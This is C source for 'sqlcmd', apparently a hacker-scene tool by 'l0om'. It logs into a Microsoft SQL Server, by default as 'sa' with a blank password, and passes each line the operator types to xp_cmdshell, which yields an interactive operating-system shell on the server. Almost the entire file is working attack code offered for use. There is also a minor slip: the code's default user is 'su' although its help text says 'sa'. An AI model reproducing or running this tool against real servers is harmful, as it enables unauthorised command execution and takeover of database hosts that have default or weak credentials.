/*
   sqlcmd.c

   WWW.EXCLUDED.ORG - l0om - l0om a7 excluded d07 org

   connect to mssql server and spawn a shell via master..xp_cmdshell 'command'
   - default user "sa"
   - default pwd  ""

    sqlcmd <hostname:port> [options]
   	 -u: username [def:sa]
	 -p: password [def:]
 	 -d: use database
 	 -h: help
	 -v: verbose


   badass@linux:/home/sirownalot> gcc -o sqlcmd sqlcmd.c -lsybdb 
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sybfront.h>
#include <sybdb.h>
#include <stdio.h>

#define MAX_HOST   40
#define MAX_BUFF   256
#define PROMPT     "sqlcmd> "

#define DEFAULTHST "127.0.0.1:1433"
#define DEFAULTUID "su"
#define DEFAULTPWD ""
#define FGREEN     "\033[0;32m"
#define FNORMAL    "\033[0;38m"
#define FRED       "\033[0;31m"

struct mssql_login {
    char host[MAX_HOST];
    char *uid;
    char *pwd;
    char *database;
};

int set_paranoia(void *addr, size_t nlen, mode_t mask);
int sql_cmd(DBPROCESS *dbd);
void set_login_defaults(struct mssql_login *login);
void help(char *usage);
static void sig_int(int sig);

int main(int argc, char **argv)
{
    int i, verbose = 0;
    char buf[MAX_BUFF], cmdbuf[MAX_BUFF];
    struct mssql_login mslogin;
    LOGINREC *login;
    DBPROCESS *dbd;

    if(dbinit() == FAIL) {
	fprintf(stderr, "dbinit failed\n");
	return(1);
    } else login = dblogin();
    if(login == NULL) {
	fprintf(stderr, "cannot allocate structur\n");
	return(1);
    } else set_login_defaults(&mslogin);

    if(argc > 1)
	for(i = 1; i < argc; i++) 
	    if(argv[i][0] == '-') 
		switch(argv[i][1]) {
		    case 'h': 
			help(argv[0]);
			exit(0);
		    case 'u':
			mslogin.uid = argv[++i];
			break;
		    case 'p':
			mslogin.pwd = argv[++i];
			break;
		    case 'd':
			mslogin.database = argv[++i];
			break;
		    case 'v':
			verbose = 1;
			break;
		    default:
			printf("unknown option >>%s<<\n",argv[i]);
			return(1);
		} else {
		    memcpy(mslogin.host, argv[i], MAX_HOST);
		    if(strchr(mslogin.host, ':') == NULL) {
			fprintf(stderr, "wrong host syntax!  <hostname:port>\n");
			return(1);
		    }
		}
			    

    if(!getuid()) // if we are root set paranoia settings ;)
	if(!set_paranoia((LOGINREC *)&login, sizeof(LOGINREC), 022))
	    fprintf(stderr, "[warning]: paranoia settings faild\n");
	else printf("[note]: paranoia settings set\n");

    DBSETLUSER(login, mslogin.uid);
    DBSETLPWD(login, mslogin.pwd);
    DBSETLAPP(login, "sqlcmd");
    DBSETLHOST(login, mslogin.host);
    
    if(verbose) printf("verbose: username:%s password:%s host:%s\n\n",mslogin.uid, mslogin.pwd, mslogin.host);

    if( (dbd = dbopen(login, mslogin.host)) == NULL) { 
	fprintf(stderr, "%sfailed to connect to %s!%s\n",FRED,mslogin.host,FNORMAL);
	return(1);
    } else printf("%sconnected to host %s as user %s!\nexit with CTRL+C\n%s\n",FGREEN,mslogin.host,mslogin.uid,FNORMAL);

    if(mslogin.database != NULL)
	if(dbuse(dbd, mslogin.database) == FAIL) 
	    fprintf(stderr, "cannot change to %s\n",mslogin.database);
        else if(verbose) printf("using database %s\n",mslogin.database); 

    if(signal(SIGINT, sig_int) == SIG_ERR) 
	fprintf(stderr, "cannot install signalhandler\n");

    i = sql_cmd(dbd);

    dbclose(dbd);
    dbfreebuf(dbd);
    dbexit();
    return(i);
}

int sql_cmd(DBPROCESS *dbd) 
{
    char cmdbuf[MAX_BUFF], buf[MAX_BUFF];

    while(1) {
	memset(cmdbuf, 0x00, MAX_BUFF);
	printf(PROMPT); fflush(stdout);
	if(read(0, cmdbuf, MAX_BUFF)==-1) {
	    perror("read");
	    return(1);
	} else dbfcmd(dbd, "exec master..xp_cmdshell '%s'",cmdbuf);
    if(dbsqlexec(dbd) == FAIL || dbresults(dbd) == FAIL) 
	fprintf(stderr, "error while dbsqlexec\n");
    else dbbind(dbd, 1, NTBSTRINGBIND, 0, (BYTE *)&buf);
    
    while(dbnextrow(dbd) != NO_MORE_ROWS) 
	printf("%s\n",buf);
    }
    return(0);
}

int set_paranoia(void *addr, size_t nlen, mode_t mask)
{
    if(addr != NULL)
	if(mlock(addr, nlen)) return(0);

    if(mask != 0)
	umask(mask);

    if(setuid(65534))
	return(0);
    return(1);
}

void set_login_defaults(struct mssql_login *login)
{
    memcpy(login->host, DEFAULTHST, MAX_HOST);
    login->uid=DEFAULTUID;
    login->pwd=DEFAULTPWD;
    login->database=NULL;  //Northwind?!
}

static void sig_int(int sig)
{
    printf(FRED);
    printf("\n\n\t EXITING...\n");
    printf(FNORMAL);
    dbexit();
    sleep(1);
    exit(0);
}

void help(char *usage)
{
    printf("%s <hostname:port> [options]\n",usage);
    printf("-u: username [def:sa]\n");
    printf("-p: password [def:]\n");
    printf("-d: use database\n");
    printf("-h: help\n");
    printf("-v: verbose\n");
}
